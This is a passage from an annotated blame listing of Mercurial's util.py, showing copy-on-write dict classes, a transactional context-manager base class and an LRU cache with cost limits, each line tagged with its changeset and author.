c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1278 >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1279 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1280 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1281 >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1282 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1283 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1284 >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1285 >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1286 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1287 >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1288 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1289 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1290 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1291 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1292 >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1293 >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1294 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1295 >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1296 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1297 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1298
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1299
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1300 class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1301 """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1302
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1303 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1304 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1305
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1306
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1307 class transactional(object):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1308 """Base class for making a transactional type into a context manager."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1309
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1310 __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1311
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1312 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1313 def close(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1314 """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1315
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1316 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1317 def release(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1318 """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1319
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1320 If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1321 """
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1322
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1323 def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1324 return self
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1325
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1326 def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1327 try:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1328 if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1329 self.close()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1330 finally:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1331 self.release()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1332
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1333
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1334 @contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1335 def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1336 """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1337
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1338 If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1339 """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1340 if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1341 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1342 return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1343 try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1344 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1345 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1346 except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1347 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1348 raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1349 finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1350 tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1351
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1352
33691 609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1353 @contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1354 def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1355 yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1356
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1357
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1358 class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1359 """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1360
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1361 Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1362 pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1363 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1364
41836 ae189674bdad global: use raw strings for __slots__ Gregory Szorc <gregory.szorc@gmail.com> parents: 41406 diff changeset	1365 __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1366
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1367 def __init__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1368 self.next = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1369 self.prev = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1370
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1371 self.key = _notset
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1372 self.value = None
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1373 self.cost = 0
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1374
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1375 def markempty(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1376 """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1377 self.key = _notset
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1378 self.value = None
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1379 self.cost = 0
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1380
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1381
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1382 class lrucachedict(object):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1383 """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1384
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1385 The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1386 key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1387 the cache.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1388
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1389 The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1390 we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1391 the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1392 new head node.
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1393
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1394 Items in the cache can be inserted with an optional "cost" value. This is
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1395 simply an integer that is specified by the caller. The cache can be queried
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1396 for the total cost of all items presently in the cache.
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1397
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1398 The cache can also define a maximum cost. If a cache insertion would
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1399 cause the total cost of the cache to go beyond the maximum cost limit,
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1400 nodes will be evicted to make room for the new code. This can be used
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1401 to e.g. set a max memory limit and associate an estimated bytes size
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1402 cost to each item in the cache. By default, no maximum cost is enforced.
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1403 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1404
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1405 def __init__(self, max, maxcost=0):
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1406 self._cache = {}
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1407
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1408 self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1409 head.prev = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1410 head.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1411 self._size = 1
39580 5d75a3c16193 util: make capacity a public attribute on lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39579 diff changeset	1412 self.capacity = max
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1413 self.totalcost = 0
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1414 self.maxcost = maxcost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1415
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1416 def __len__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1417 return len(self._cache)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1418
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1419 def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1420 return k in self._cache
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1421
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1422 def __iter__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1423 # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1424 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1425 for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1426 yield n.key
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1427 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1428
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1429 def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1430 node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1431 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1432 return node.value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1433
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1434 def insert(self, k, v, cost=0):
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1435 """Insert a new item in the cache with optional cost value."""
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1436 node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1437 # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1438 if node is not None:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1439 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1440 node.value = v
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1441 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1442 self.totalcost += cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1443 self._movetohead(node)
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1444
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1445 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1446 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1447
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1448 return
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1449
39580 5d75a3c16193 util: make capacity a public attribute on lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39579 diff changeset	1450 if self._size < self.capacity:
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1451 node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1452 else:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1453 # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1454 node = self._head.prev
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1455
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1456 # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1457 if node.key is not _notset:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1458 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1459 del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1460
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1461 node.key = k
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1462 node.value = v
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1463 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1464 self.totalcost += cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1465 self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1466 # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1467 # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1468 self._head = node
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1469
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1470 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1471 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1472
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1473 def __setitem__(self, k, v):
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1474 self.insert(k, v)
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1475
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1476 def __delitem__(self, k):
40898 7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1477 self.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1478
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1479 def pop(self, k, default=_notset):
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1480 try:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1481 node = self._cache.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1482 except KeyError:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1483 if default is _notset:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1484 raise
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1485 return default
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1486 value = node.value
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1487 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1488 node.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1489
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1490 # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1491 # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1492 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1493 self._head = node.next
